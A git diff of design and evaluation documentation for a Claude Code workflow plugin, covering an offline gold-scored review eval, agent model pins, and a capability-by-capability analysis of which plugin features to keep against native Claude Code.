a machine-readable record and added here, so the failure can never silently
regress.
This corpus is the gold that the **offline gold-scored output eval (SKAL-1·4b)**
scores against — that eval is now implemented and wired into `node --test`
(see [§Gold-scored output eval](#gold-scored-output-eval-skal-14b) below). The
corpus records here are committed fixtures + a schema; the scoring run is the
separate piece that consumes them.
## Seed example
The first corpus entry is
[`tests/fixtures/bakeoff-rich/gold.json`](../../tests/fixtures/bakeoff-rich/gold.json)
— the 5 brief-traceable seeded findings of the bakeoff-rich JWT-auth fixture.
`gold.json` is the **canonical machine-readable form**; the prose table in
`tests/fixtures/bakeoff-rich/README.md` is illustrative. When they disagree,
`gold.json` wins.
## Record schema (`voyage-eval-gold/1`)
A corpus file is one JSON object:
```jsonc
{
"schema": "voyage-eval-gold/1",
"source": "<path to the prose/fixture this was distilled from>",
"description": "<one line>",
"expected_verdict": "BLOCK | WARN | ALLOW", // review-coordinator Pass-4 outcome
"findings": [
{
"file": "<repo-relative path in the reviewed diff>",
"line": 0, // integer >= 0; 0 = file-scoped
"rule_key": "<member of lib/review/rule-catalogue.mjs RULE_CATALOGUE>",
"severity": "BLOCKER | MAJOR | MINOR | SUGGESTION",
"owner_reviewer": "conformance | correctness"
// optional eval-extension fields are permitted, e.g.:
// "dual_flaggable": "<a second rule_key the same issue could carry>"
}
]
}
```
### Hard constraints
- **`rule_key` must be a member of `RULE_CATALOGUE`** (`lib/review/rule-catalogue.mjs`).
The catalogue is the contract; an invented rule_key is a corpus bug.
- **`severity` must be one of `SEVERITY_VALUES`** (`BLOCKER`, `MAJOR`, `MINOR`, `SUGGESTION`).
- **`expected_verdict`** is the deterministic Pass-4 outcome of
`lib/review/coordinator-contract.mjs::computeVerdict`: `BLOCKER ≥ 1 → BLOCK`,
else `MAJOR ≥ 1 → WARN`, else `ALLOW`.
- Finding-level fields (`file`, `line`, `rule_key`, `severity`) mirror
`FINDING_REQUIRED_FIELDS` (`lib/review/findings-schema.mjs`); `owner_reviewer`
and any extension fields are eval-specific additions (superset).
## Adding a new frozen failure
1. Distil the misfire into a `voyage-eval-gold/1` record (one `.json` file here,
or a new entry in an existing corpus file).
2. Confirm every `rule_key` is in the catalogue and `expected_verdict` matches
the Pass-4 computation.
3. Add (or extend) a loader test in the `tests/lib/gold-corpus.test.mjs` shape so
the record's shape + catalogue membership are pinned under `node --test`.
## Gold-scored output eval (SKAL-1·4b)
The offline scoring run that grades a recorded agent run against this corpus.
**Offline** = committed reviewer payloads, no live agent spawn, no LLM, no
network (the LLM-in-the-loop grading is the separate 4c tier).
- **Committed runs** live under `tests/fixtures/bakeoff-rich/runs/`. Each file is
the JSON **reviewer payloads** (one object per reviewer, `{ reviewer, findings }`)
that a recorded run produced. `run-perfect.json` is the regression guard: fed
through the coordinator contract it must reproduce every seeded gold finding.
- **The contract** `lib/review/coordinator-contract.mjs::runContract(payloads)`
turns those payloads into the deterministic coordinator output (4a).
- **The scorer** `lib/review/gold-scorer.mjs`:
- `scoreFindings(runFindings, goldFindings)` matches at **`(file, rule_key)`
granularity** (line + severity ignored) → `{ tp, fp, fn, precision, recall,
f1, matched, missed, spurious }`. Vacuous-set conventions (empty run →
recall 0; empty gold → precision 0; f1 collapses to 0) are documented in the
module header.
- `scoreVerdict(runVerdict, goldVerdict)` → exact verdict match.
- **The scoring run** `tests/lib/gold-eval.test.mjs` asserts `run-perfect`
reproduces gold at precision/recall/f1 = 1.0 and `verdict === expected_verdict`.
- **Third test-census category.** `lib/util/test-census.mjs` now reports a
`goldEval` bucket (matched by `GOLD_EVAL_FILE_RE`) separately from `behavior`
and `docPins` — a scoring run is neither behavior coverage nor a prose pin, so
the honest-count invariant is now a 3-way sum.
## Future hardening (not in this tier)
- A prose↔JSON cross-assertion (parse the fixture README table, diff against
`gold.json`) to mechanically bound the two-source-of-truth drift.
- Degraded-run fixtures (a run that misses or invents findings) to exercise the
scorer's discriminating path end-to-end; today that path is covered by
`tests/lib/gold-scorer.test.mjs` with inline synthetic findings.
- SKAL-1·4c: the LLM-in-the-loop eval that grades live agent runs (needs a
filesystem + model judgement, deliberately excluded from this deterministic tier).

View file

@ -158,7 +158,7 @@ The exporter is hardened against three CWE classes:
## Why direct export rather than a native collector
A balance review (`docs/voyage-vs-cc-balance-analysis.md` §4, V32) asked
A balance review (V32) asked
whether the custom exporters should be dropped in favour of pointing the
standard `OTEL_*` environment variables at a co-located OTLP collector,
letting that collector own egress and field selection. The operator

View file

@ -16,7 +16,7 @@ Three architectural options were considered for the speedup work:
- **Path A — cache-first** (drop `--allowedTools` per child to recover cross-phase cache sharing): REJECTED. Inverts the security model; plugin hooks don't fire reliably in `claude -p` (research/06 GH #36071).
- **Path B — sequential `--no-ff` parallel waves with manifest-driven failure recovery**: CHOSEN. Ships in v3.4.0. Phase 2.6 of `/trekexecute` runs the wave executor with hardenings for plugin-in-monorepo + gitignored-state topology.
- **Path C — hybrid (cache-warm sentinel + identical-tool parallel)**: **CLOSED 2026-05-05.** Q3 experiment measured median `cache_creation_input_tokens` = 163,903 across 3 fork-children at 186K parent context (CC v2.1.128, Sonnet 4.6). Master-plan thresholds: ≤ 1,500 POSITIVE / ≥ 3,500 NEGATIVE. Result is solidly NEGATIVE — `CLAUDE_CODE_FORK_SUBAGENT` does not preserve cache prefix across identical-tool children at our context size. Path C migration is deferred indefinitely; reassessment is appropriate when CC v2.2.xxx ships fork-cache-relevant features. Harness: `scripts/q3-cache-prefix-experiment.mjs`. Companion analyser: `lib/stats/cache-analyzer.mjs`.
- **Path C — hybrid (cache-warm sentinel + identical-tool parallel)**: **CLOSED 2026-05-05.** Q3 experiment measured median `cache_creation_input_tokens` = 163,903 across 3 fork-children at 186K parent context (CC v2.1.128, Sonnet 4.6). Master-plan thresholds: ≤ 1,500 POSITIVE / ≥ 3,500 NEGATIVE. Result is solidly NEGATIVE — `CLAUDE_CODE_FORK_SUBAGENT` does not preserve cache prefix across identical-tool children at our context size. Path C migration is deferred indefinitely; reassessment is appropriate when CC v2.2.xxx ships fork-cache-relevant features. Companion analyser: `lib/stats/cache-analyzer.mjs`.
> **Status (6.0.0):** `/trekexecute` no longer starts wave children. Phase 2.6 prepares one wave at a time and hands each session over as an order the user runs in a session they open (CHANGELOG, 6.0.0). The Q3 harness was removed in 6.0.0 because it started the binary; its result above stands, and the script remains in git history before that tag.

View file

@ -247,8 +247,7 @@ These were measured by probe cases in a scratch copy, not taken from the docs.
- **The agent swarms.** It never tests the `/trekplan` exploration, synthesis or review
phases, the `/trekreview` reviewers and coordinator, or `/trekresearch`. Every case
asserts zero Agent calls. Whether the swarm plans or reviews *well* is outside this
suite. The offline gold-scored eval (`tests/lib/gold-eval.test.mjs`, see
`docs/eval-corpus/README.md`) covers the coordinator contract on recorded payloads.
suite.
- **`/trekbrief`**, because its interview needs `AskUserQuestion`, which a headless child
does not have. **`/trekexecute`, `/trekcontinue` and `/trekendsession`** have no case yet.
- **Plugin contribution.** The suite runs without the no-plugin baseline (`--ablation none`),

View file

@ -82,6 +82,14 @@ selected agents, overriding the session level:
- **All other agents:** unset → inherits the session's effort level (a session
that nothing sets runs at its model's default — `medium` on Opus 5.5).
**Every agent is pinned `model: opus`.** The pin is set in each agent's
frontmatter (operator decision, commit `40d8742`), because the profile
resolver does not reach sub-agents: the profile picks the model for the
phases, the frontmatter for the agents. The operator wants Opus on all Voyage
work and accepted the roughly fivefold sub-agent cost against Sonnet. The
glue, mechanical, retrieval and dormant roles were reconsidered for a Sonnet
downgrade (operator, 2026-06-20) and kept on Opus: the pin stays firm.
Native-effort precedence (harness): env `CLAUDE_CODE_EFFORT_LEVEL` > frontmatter
`effort:` > session setting > model default, and a `maxEffortLevel` setting or
an organization effort cap still limits the result. `MAX_THINKING_TOKENS=0` has

View file

@ -29,9 +29,9 @@ By stage — Plan 0/1/0 · Design 0/0/1 · Build 2/3/1 · Test 0/2/0 · Deploy 0
| P7 | Hooks as build-time guardrails (Build) | partial | `hooks/hooks.json` (7 wirings/6 events); `hooks/scripts/pre-write-executor.mjs`, `pre-bash-executor.mjs` | Path protection and credential blocks exist as PreToolUse hooks; there is no PostToolUse Edit/Write hook at all, so "formatter/linter after edit" is missing |
| P8 | Parallel sessions and subagents (Build) | full | `commands/trekexecute.md` (`git worktree add -b`, waves, scope fence); `agents/session-decomposer.md` | Worktree-isolated parallel headless sessions with cleanup, plus 20 spawnable subagents |
| P9 | Give the agent a feedback loop (Test) | partial | `lib/verification/criteria-runner.mjs`; `commands/trekexecute.md` Phase 7 / 7.5 / 7.6 | Exit-code-as-truth and an independent fresh-context manifest audit are real code — but "failing test first, protected from rewriting" is explicitly off: `Test first:` is optional and the file says "do not block on test-first failures" |
| P10 | Continuous evals in CI (Test) | partial | `tests/lib/doc-consistency.test.mjs`, `tests/lib/agent-frontmatter.test.mjs`; `tests/lib/gold-eval.test.mjs` + `lib/review/gold-scorer.mjs` | A suite does regression-test the agent configuration (agent count, frontmatter, model pin, command table, hook count — derived from the source, so a config change fells it), and a scored gold eval exists. What is missing: any CI at all (`.forgejo/workflows` and `.github` both absent), automatic triggering on config change, a merge gate on pass rate, and any live-agent eval |
| P10 | Continuous evals in CI (Test) | partial | `tests/lib/doc-consistency.test.mjs`, `tests/lib/agent-frontmatter.test.mjs` | A suite does regression-test the agent configuration (agent count, frontmatter, model pin, command table, hook count — derived from the source, so a config change fells it). What is missing: any CI at all (`.forgejo/workflows` and `.github` both absent), automatic triggering on config change, a merge gate on pass rate, and any live-agent eval |
| P11 | AI in the PR review loop (Deploy) | partial | `commands/trekreview.md`; `lib/review/rule-catalogue.mjs`; `lib/review/coordinator-contract.mjs` | Independent reviewers, a judge, a versioned rule catalogue and a four-level severity taxonomy are strongly implemented — but the input is a SHA-range diff, not a PR: no forge integration, no code-owner approval, and the verdict blocks nothing |
| P12 | Hooks as approval gates (Deploy) | partial | `hooks/scripts/pre-bash-executor.mjs` (asks before merge into main and push); `commands/trekexecute.md` main-merge gate | Human gates exist and the main-merge gate always pauses — but they are `AskUserQuestion` prose in command files; no hook returns an "ask" decision, and the hooks are binary (exit 0 / exit 2) |
| P12 | Hooks as approval gates (Deploy) | partial | `hooks/scripts/pre-bash-executor.mjs` (asks before merge into main and push); `commands/trekexecute.md` main-merge gate | The guard answers "ask" before merge into main and push, in auto mode too, and the main-merge gate is a lock on the review verdict — but the other approval pauses are `AskUserQuestion` prose in command files |
| P13 | CI/CD integration and deployment (Deploy) | none | — | No CI workflows, no deploy/status/rollback tooling, no per-environment autonomy ladder |
| P14 | Close the loop from maintenance (Maintain) | none | `hooks/scripts/otel-export.mjs`, `lib/exporters/`, `lib/stats/` | Observability exists but measures Voyage's own runs, not a product in production; no control bands, and the one feedback path (review → plan) is started by a human |
| P15 | Recurring codebase scans (Maintain) | none | `hooks/scripts/pre-bash-executor.mjs` | No scheduler and no periodic entry point; the only `cron` hits are the rule that blocks crontab persistence |

View file

@ -45,7 +45,7 @@ preloading the skill and a command from calling it.
## The routing test
`lib/skills/routing.mjs` (in `npm test` and as a CLI) compares the descriptions of every skill,
the 7 commands and the 21 spawnable agents, with no model:
the 7 commands and the 20 spawnable agents, with no model:
- Two descriptions that are too alike (cosine 0.75 or more) fail. From 0.5 it warns.
- Each skill has at least 3 prompts where it should fire, 2 where it should not, and 1 effect

View file

@ -1,129 +0,0 @@
# Subagent Delegation Audit — Main-Context Pressure Analysis
**Status:** Exploratory brief — findings + options, not a decision
**Date:** 2026-04-19
**Scope:** trekplan v2.3.2, all six user-facing commands
## Problem
Main context fills up quickly during trekplan runs. The plugin's
design principle is Context Engineering — the main context should
**orchestrate**, subagents should **execute**. In practice, the exploration
phases do delegate aggressively, but the **synthesis and writing phases
remain inline**, which is where the bulk of heavy reading and reasoning
actually happens.
## Verified findings
### 1. Exploration is already well-delegated
Agent-spawn density per command (nominal):
| Command | Agents spawned |
|--------------------------|-------------------------------------------------------------------|
| trekresearch | ~9–14 (5 local + 4 external + 1 bridge + up to 2 follow-ups) |
| trekplan | ~10 (6 initial + conditional research-scout + up to 3 deep-dives) |
| trekbrief | 1–3 (brief-reviewer per iteration, max 3) |
| trekexecute | 0 (explicit no-agent rule) |
| voyage-skill-author-local | 3 (concept-extractor → skill-drafter → ip-hygiene-checker) |
This part is healthy.
### 2. Synthesis and writing is inline
The main context does the heavy cognitive work after swarm completion:
- **`commands/trekplan.md:483–498` (Phase 7 Synthesis):**
"Read all agent results carefully" + "Build a mental model of the codebase
architecture" + "Catalog reusable code" + "Integrate research findings".
This forces 6–10 agent outputs to remain resident in main context simultaneously.
- **`commands/trekplan.md:499–548` (Phase 8 Deep Planning):**
Main context writes the entire plan.md from scratch, including all required
sections, quality standards, and file-path validation.
- **`commands/trekresearch.md:302–323` (Phase 6 Triangulation):**
Explicitly labelled "the KEY phase that makes trekresearch more than
aggregation". Dimension-by-dimension comparison of local vs external
findings, contradiction flagging, confidence rating — all inline.
- **`commands/trekresearch.md:325–341` (Phase 7 Synthesis):**
Writes the research brief inline using the template.
### 3. Root cause — v2.4.0 foreground migration
Each command carries a `> **Why foreground?**` block
(`trekplan.md:330`, `trekresearch.md:192`) documenting that the
background orchestrators were removed because agents spawned from background
orchestrators silently degraded. The swarm-spawn logic was lifted into the
main context — but so was the synthesis logic the orchestrators used to
carry. The "summarizer" link is missing.
## Candidate interventions
Presented as options, ordered by estimated main-context savings. Numbers
are rough estimates based on the size of the phase bodies — not measured.
| # | Intervention | Target phase | Rough saving |
|---|---------------------------------------------------------------------|-------------------------------------|--------------|
| 1 | `synthesis-agent` — digests all exploration outputs into findings + reuse catalog + gaps | trekplan Phase 7 | 40–50% |
| 2 | `plan-writer-agent` — writes plan.md from synthesis + template | trekplan Phase 8 | part of #1 |
| 3 | `triangulation-synthesizer` — per-dimension local vs external diff + confidence rating | trekresearch Phase 6 | 25–30% |
| 4 | `research-brief-writer` — writes research brief from triangulation output | trekresearch Phase 7 | part of #3 |
## Tradeoffs (important)
- **Iteration friction.** A synthesis- or writer-agent does not see the
live conversation. If the user wants to push back on the plan ("split
step 3 in two", "re-phrase the risks"), refinement still has to happen
in main context. Delegation works best for the first pass; the revision
loop is harder to delegate.
- **Adversarial review still needs main.** `plan-critic` and
`scope-guardian` already return findings to main context — which then
has to act on them. If the plan was written by an agent, main must
either re-invoke the writer agent with critic feedback, or absorb the
plan back in to revise it. Neither is free.
- **Artifact quality gates.** The current inline phases enforce
quality rules (e.g., "every file path must exist in the codebase").
A writer-agent needs the same codebase context the exploration agents
had — re-delivering that context to the writer burns tokens the
delegation was meant to save.
- **Debuggability.** Inline synthesis is inspectable in the transcript.
Agent-synthesis hides the reasoning inside the agent's return message —
fine when it works, harder to diagnose when it doesn't.
## Recommendation (tentative)
If only one change is made, **intervention #1 (synthesis-agent for
trekplan Phase 7)** has the largest ROI. It isolates the heaviest read
(all 6–10 agent outputs) behind a summarizer, and its output — a compact
findings document — is small enough to keep resident for Phase 8 planning
and Phase 9 review.
Intervention #3 is a smaller-scope and lower-risk proof-of-concept
that could validate the pattern before touching the main planner.
## Open questions
1. Should the synthesis-agent write to disk (`synthesis.md` alongside
`plan.md`) for inspectability, or return in-memory?
2. Does the adversarial review phase (plan-critic + scope-guardian) need
access to the full exploration outputs, or is the synthesis artifact
enough?
3. Is there a way to measure current main-context usage per phase so the
savings estimates above can be replaced with real numbers before
committing to changes?
4. Does this interact with `REMEMBER.md`'s note that "trekplan schema-drift
on 4.7 produces Phase-plans instead of v1.7 step-schema"? A writer-agent
might either help (isolated, more controllable) or hurt (another layer
where drift can happen) the schema-drift problem.
## Out of scope for this brief
- Implementation details of the new agents
- Changes to trekexecute (no-agent by design)
- Changes to trekbrief Phase 3 interview (must be inline to drive
user dialogue)

View file

@ -1,237 +0,0 @@
# Voyage-vs-CC Balance Analysis
**Status:** Analysis — recommendations only, operator-gated before any implementation.
**Date:** 2026-06-20. **Baseline:** Claude Code 2.1.183 (latest; 2.1.182 never shipped).
**Charter:** `docs/voyage-vs-cc-balance-charter.md`. **Method substrate:** Dynamic Workflow (`wf_41bb3936-e6d`, 96 agents, ~2.97M subagent tokens, 4.6 min) + inline scout + an over-keeping meta-critic.
---
## TL;DR
- **Voyage's existence is justified by ONE thing the audit confirms end-to-end:** typed, versioned, cross-stage/cross-session **structured-artifact handovers** (brief → research → plan → execute → review → continue) plus **multi-session discipline**. CC 2.1.183 has no native analog for a semver-stable public artifact contract or a typed work-state checkpoint. This matches the plugin's own CLAUDE.md self-admission and the operator's primary real use (large tasks across many sessions).
- **It is NOT justified by the swarm-relieves-context claim** (measured Δ ≈ 0, unchanged here) and **not by re-implementing CC engines.** Wherever CC ships the engine, Voyage's only defensible role is a *thin policy layer that lowers the expertise bar* — never a re-implementation.
- **Disposition tally (35 capabilities, post-adversarial):** KEEP 25 · THIN_WRAP 6 · SIMPLIFY 4 · DROP→NATIVE 0.
- **The zero-DROP result is over-keeping at the edges.** A meta-critic flags **4 genuine downgrade candidates** (V09 Gemini-bridge, V15 text-export variants, V32 observability export, V35 dormant synthesis-agent). Acting on all of them trims the edges; it does **not** move the headline.
- **Nothing recommended here breaks Handover 1** (the public brief contract). Every operator-pinned decision the analysis brushes is flagged, never silently overridden.
---
## 1. Method & evidence base (Phase 0–1)
### 1.1 Post-2.1.181 CC delta (Verification #4)
Latest CC = **2.1.183** (June 19 2026). **2.1.182 never existed** (skipped build). 2.1.183 = bugfixes + auto-mode git safety guards only. **No new features touch the Workflow tool, plan mode, Artifacts, subagent nesting, or session checkpointing.** Several 2.1.183 fixes actually *repair* Voyage swarm failure modes (subagent-spawn 400s, empty WebSearch-in-subagent, silent thinking-only completions, tmux teammate launch, background-task premature termination) — no Voyage code change needed. **Conclusion: the CC-native overlap baseline is unchanged from the 2.1.181 decision matrix.**
### 1.2 Anchor verdicts carried in (not re-derived)
| Prior finding | Verdict | Source |
|---|---|---|
| Sub-agents can nest ≤5 deep | true since CC 2.1.172 (old "harness hides Agent tool" premise is FALSE) | `cc-upgrade-2.1.181-decision-matrix.md` CC-01 |
| Delegate the orchestration loop to a sub-agent (CC-26) | **lean NO** — only upside is main-context relief, measured Δ=0; new proliferation-classifier risk | `T1-cc26-delegated-orchestration.md` |
| Workflow tool as substrate (CC-27) | **selective hybrid** — schema-contract win real; wholesale swap DECLINED | `T2-cc27-workflow-substrate.md` |
| Synthesis delegated to a sub-agent (T1 PoC) | **Δ main-context = 0.0%** (exploration already runs foreground; digest returns on top) → dormant | `T1-synthesis-poc-results.md` |
| Flagship "swarm relieves context" | **unproven**; structured-artifact handovers are the load-bearing benefit | root `CLAUDE.md` (verbatim self-admission) |
### 1.3 The two decision axes
- **Axis A — Duplication:** does CC 2.1.183 do this natively? does it do it *better*?
- **Axis B — Expertise-bar:** does Voyage's wrapper let a non-CC-expert get the value *without* knowing CC internals?
**Disposition vocabulary:** KEEP (Voyage-unique/clearly better) · THIN_WRAP (CC is the engine; keep a thin accessibility layer, delegate the engine) · DROP→NATIVE (CC better + no real expertise gap; remove + document native path) · SIMPLIFY (keep, shed complexity CC now handles).
**The tension the analysis was forced to resolve per capability:** a feature CC does "better" raw can still deserve THIN_WRAP if raw CC requires expertise — *accessibility can justify a wrapper, never a re-implementation.*
### 1.4 How the classification ran
35 canonical capabilities (consolidated from 42 command-level + ~30 infra inventory rows). Each ran a 3-stage pipeline: **(A)** CC-overlap map (sonnet) → **(B)** A×B classification → disposition (opus) → **(C)** adversarial verify of every KEEP/DROP→NATIVE (opus, high effort). Stage-B/C agents read the actual Voyage code (validators, hooks, command prose) and cite `file:line`. A final **over-keeping meta-critic** then attacked the zero-DROP outcome holistically (§4).
---
## 2. The balance thesis
Voyage sits on a host (CC) that has absorbed most of what a 2024-era "agent orchestration" plugin differentiated on: parallel sub-agent spawn, nesting, native `effort:`, plan mode, MCP, hooks, the Workflow tool. The audit's structural finding is that **CC absorbed the *primitives*, not the *contracts*.** Across all 35 capabilities, every CC overlap is `cc_partial` or `cc_absent` — CC ships the spawn/ask/hook/MCP engine, but never:
- a **versioned, semver-stable, PUBLIC artifact schema** an unrelated upstream producer can target (Handover 1),
- a **typed cross-session work-state checkpoint** with auto-discovery and zero-confirm resume (Handover 7),
- a **standing per-handover validator library** that gates the pipeline on written-artifact frontmatter,
- or the **opinionated domain policy** (research angles, review taxonomy, manifest predicates) a user would otherwise hand-author every run.
**So the balance is:**
- **Where CC has no engine (most KEEPs)** — brief contract, plan-schema enforcement, manifest audit, progress/resume, session-state, triangulation, the handover contract itself — Voyage is genuinely additive. KEEP.
- **Where CC has the engine (the THIN_WRAPs)** — research/exploration/reviewer swarms, the research interview, the Gemini bridge, observability — Voyage's job is to **ride the native primitive and add only the thin policy**, never to re-host the engine. THIN_WRAP, with a standing obligation to delegate the engine to CC.
- **Where the wrapper's own contract layer is thin or empty (the over-keeping edge)** — a "do-not-editorialize" pass-through agent, text reformatting, a re-hosted telemetry collector, a dormant measured-dead agent — the accessibility defense is rhetorical, and these are the DROP/downgrade candidates.
---
## 3. Phase 3 disposition matrix (Verification #1)
Each capability appears exactly once. Inventory count (35) = matrix rows (35). Axis A: `nb`=cc_native_better, `eq`=cc_native_equal, `pt`=cc_partial, `ab`=cc_absent. Axis B gap: H/M/L/none. **Adv** = per-capability adversarial verdict (— = not in KEEP/DROP scope). **B** = acting on it would change a handover contract. **P** = touches an operator-pinned decision.
| ID | Capability | A | B | Disposition | Adv | B | P | Why (one line) + evidence-ref |
|----|-----------|---|---|-------------|-----|---|---|-------------------------------|
| V01 | Interactive brief interview | pt | M | **KEEP** | upheld | · | P | Engine = AskUserQuestion; value = the completeness loop that emits Handover-1 `brief.md`. `brief-validator.mjs` |
| V02 | Framing-intent gate | ab | H | **KEEP** | upheld | · | P | No native typed-enum non-skippable input gate; `BRIEF_*FRAMING` codes. `brief-validator.mjs:110-154` |
| V03 | Per-phase effort signals | ab | H | **KEEP** | upheld | · | P | Native `effort:` is per-spawn reasoning, a *different* axis; no pipeline-wide phase signal. `HANDOVER-CONTRACTS.md §1` |
| V04 | Brief quality review + revise loop | ab | H | **KEEP** | upheld | · | P | No native draft→review→revise rubric loop; spawn ≠ engine. `brief-reviewer.md` |
| V05 | Memory-alignment defense | ab | H | **KEEP** | upheld | **B** | P | MEMORY.md is passive context; no native brief-vs-memory contradiction gate. `brief-reviewer.md:160-186` |
| V06 | Brief→pipeline auto-orchestration | ab | M | **KEEP** | upheld | · | · | Skill tool is one-shot; Workflow can't span slash-command/handover boundaries. `T2` |
| V07 | Research interview | pt | M | **THIN_WRAP** | — | · | · | AskUserQuestion is the engine; keep only the 4-dim/2-4-Q interview policy. `trekresearch.md §2` |
| V08 | External research swarm | pt | H | **THIN_WRAP** | — | · | P | CC ships parallel-spawn+WebSearch+MCP; keep the 4-angle decomposition + schemas. `docs/community/security/contrarian` |
| V09 | Gemini second opinion | eq | M | **THIN_WRAP** ⚠ | — | · | P | Engine = third-party `gemini-mcp`; agent is pure glue ("do not editorialize"). **DROP candidate (§4).** |
| V10 | Triangulation + confidence | ab | H | **KEEP** | upheld | · | · | No native per-dimension confidence enum + weighted scalar. `trekresearch.md §6` |
| V11 | Local exploration swarm | pt | H | **THIN_WRAP** | — | · | P | CC ships parallel Agent spawn; keep 7 typed roles + effort defaults + scaling. `agents/*` |
| V12 | Plan synthesis + schema enforcement | ab | H | **KEEP** | upheld | · | · | No native plan schema/`--strict` validator; load-bearing handover. `plan-validator.mjs` |
| V13 | Adversarial plan review | pt | H | **KEEP** | upheld | · | P | Spawn ≠ a 10-dim critic + scope-guardian + dedup workflow. `plan-critic.md` |
| V14 | Architecture-note auto-discovery | ab | M | **KEEP** | upheld | · | · | No native canonical-path + fallback + drift-WARN discovery. `architecture-discovery.mjs` |
| V15 | Plan export | pt | L | **SIMPLIFY** ⚠ | — | · | · | pr/issue/markdown = text reflow CC does ad-hoc; only `headless`(=decompose) has value. **DROP text variants (§4).** |
| V16 | Session decomposition | ab | H | **KEEP** | upheld | · | P | `--resume`/TodoWrite carry no dependency parse/wave/spec/launch.sh. `session-decomposer.md` |
| V17 | Disciplined step-execution loop | pt | H | **KEEP** | upheld | · | · | Manifest predicate (git-diff completion gate) has no CC-native analog. `trekexecute.md §6` |
| V18 | Pre-exec + runtime safety guardrails | pt | H | **KEEP** | upheld | · | · | Native `permissions.deny` is a glob matcher; denylist is semantic regex. `pre-bash-executor.mjs` |
| V19 | Multi-session parallel orchestration | ab | H | **KEEP** | upheld | · | · | `git worktree`+`claude -p` are leaves; wave/merge-gate/lock-race orchestration is Voyage. `trekexecute.md §2.6` |
| V20 | Manifest audit + recovery dispatch | ab | H | **KEEP** | upheld | · | · | No native post-exec audit / self-report-distrust / depth-capped recovery. `trekexecute.md §7.5-7.6` |
| V21 | Progress/resume contract | ab | H | **KEEP** | upheld | · | · | CC resume = conversation-level; no step status/attempts/SHA/drift. `progress` + `pre-compact-flush.mjs` |
| V22 | Dry-run / validate modes | ab | M | **KEEP** | upheld | · | · | No native read-only preview of a multi-session execution strategy. `trekexecute.md §5/§2.3` |
| V23 | Deterministic review triage gate | ab | M | **KEEP** | upheld | · | · | Native `/code-review` has no path classifier / refuse-gate / Coverage. `trekreview.md §4` |
| V24 | Independent reviewer swarm | pt | H | **THIN_WRAP** | — | · | · | CC ships fan-out; keep rule-catalogue + schema + no-cross-feed + taxonomy. `lib/review/*` |
| V25 | Review coordinator / Judge | ab | H | **KEEP** | upheld | · | · | No native multi-reviewer dedup + filter + verdict layer. `review-coordinator.md` |
| V26 | Review→remediation handover | ab | H | **KEEP** | upheld | · | · | No native typed cross-stage handover (severity→goal, source_findings). `review-validator.mjs` |
| V27 | Review Workflow substrate option | pt | H | **SIMPLIFY** | — | · | · | Opt-in port; +4.4% tokens/+54% wall-time, CC≥2.1.154 floor. Keep as opt-in, don't expand. `T2` |
| V28 | Session-state + zero-friction resume | ab | H | **KEEP** | upheld | · | · | `--resume` replays a transcript, not a typed work-state. `session-state-validator.mjs` |
| V29 | Structured-artifact handover contract | ab | H | **KEEP** | upheld | · | · | **The load-bearing value.** Workflow types I/O within one session, not a public cross-stage contract. `HANDOVER-CONTRACTS.md` |
| V30 | Profile system + native effort axis | pt | M | **KEEP** | upheld | · | P | Native model key is single-spawn; profiles span the whole multi-session run. `resolver.mjs` |
| V31 | Autonomy gates | ab | H | **KEEP** | upheld | · | P | Plan mode gates one boundary; no mid-exec per-phase/wave pause policy. `autonomy-gate.mjs` |
| V32 | Observability export | pt | H | **THIN_WRAP** ⚠ | — | · | · | CC ships Stop-hook+OTEL passthrough; exporters/guards re-host collector logic. **DROP candidate (§4).** |
| V33 | Operator annotation HTML | ab | M | **SIMPLIFY** | revised (KEEP→SIMPLIFY) | · | · | No native line-anchored note UI, but it's a generic md tool, not a pipeline capability. `scripts/annotate.mjs` |
| V34 | Artifact schema validators | ab | M | **KEEP** | upheld | · | · | Workflow schemas type one tool boundary; these validate persistent artifacts. `lib/validators/*` |
| V35 | Internal architecture artifacts | ab | none | **SIMPLIFY** ⚠ | — | · | P | Dormant synthesis-agent (Δ=0) + non-spawned orchestrator docs. **DROP dormant half (§4).** |
⚠ = flagged by the over-keeping meta-critic as a downgrade candidate beyond its workflow disposition (§4).
---
## 4. The zero-DROP finding & over-keeping meta-review (Verification #5)
**The honest gap:** the per-capability adversarial pass challenged all 26 KEEP classifications (25 upheld, 1 revised: V33 KEEP→SIMPLIFY) — but because the classification produced **zero DROP→NATIVE**, the charter's "challenge ≥1 DROP→NATIVE" criterion had nothing to operate on. A self-audit concluding "drop nothing" is the exact pattern a skeptic should distrust. So a dedicated **over-keeping meta-critic** attacked the outcome and the recurring "primitive vs typed-contract" defense.
**Meta-critic verdict:** the zero-DROP outcome is **over-keeping at the edges**. The "primitive vs typed-contract" distinction is *load-bearing* for V08/V11/V24 (real policy a user must re-author every run) but *rhetorical* where the contract layer is itself thin or empty. Four downgrade candidates:
| Cap | Workflow said | Meta-critic says | Native path / what's lost | Contested? |
|-----|---------------|------------------|---------------------------|-----------|
| **V09** Gemini bridge | THIN_WRAP | **DROP→NATIVE** | Call `gemini-mcp` tools inline; agent explicitly *doesn't* reason → opus-on-glue is pure waste. The classify pass *also* flagged opus wasted here. | Low — both passes agree |
| **V15** plan export (pr/issue/markdown) | SIMPLIFY | **DROP the 3 text variants** | Ask auto-mode to reformat ad-hoc; only `--export headless` (=decomposition) survives, and that's V16 wearing a flag. | Low |
| **V32** observability export | THIN_WRAP | **DROP→NATIVE candidate** | Point OTEL env vars at a standard OTLP collector (which owns allowlists/egress); exporters re-host the collector. | **High** — code-verified pass says SSRF/path/field guards are net-new; this is a genuine direct-export-vs-collector architecture choice. Operator decision. |
| **V35** dormant synthesis-agent | SIMPLIFY | **DROP the dormant agent** | It's already dead (Δ=0, wired to nothing); orchestrator docs are docs, not capabilities. | Low |
**Caveat for the operator:** the meta-critic reasoned from the disposition table, not from re-reading the code, whereas the per-capability passes cite `file:line`. Treat V32 as genuinely contested. V09/V15/V35 are low-contest because both layers of analysis converge.
**Bottom line (meta-critic, verbatim sense):** dropping V09 + V15-text + (probably) V32 and demoting V35's dead agent *trims the edges decisively but does not move the headline* — the typed-handover + multi-session core is untouched and remains the only thing that justifies the plugin's existence.
---
## 5. Target-form for Voyage
What Voyage should *be*, given modern CC:
1. **A contract layer, not an orchestration engine.** Lead with the 7 typed handovers + multi-session discipline (V28/V29 + the validators V34). Stop marketing swarm-context-relief; it's measured Δ≈0.
2. **A thin accessibility skin over native CC engines** for everything CC now does well: research/exploration/reviewer swarms should *visibly delegate* to native parallel Agent spawn + AskUserQuestion + Stop hooks, adding only the opinionated policy (angles, roles, taxonomy, schemas). Never re-host an engine.
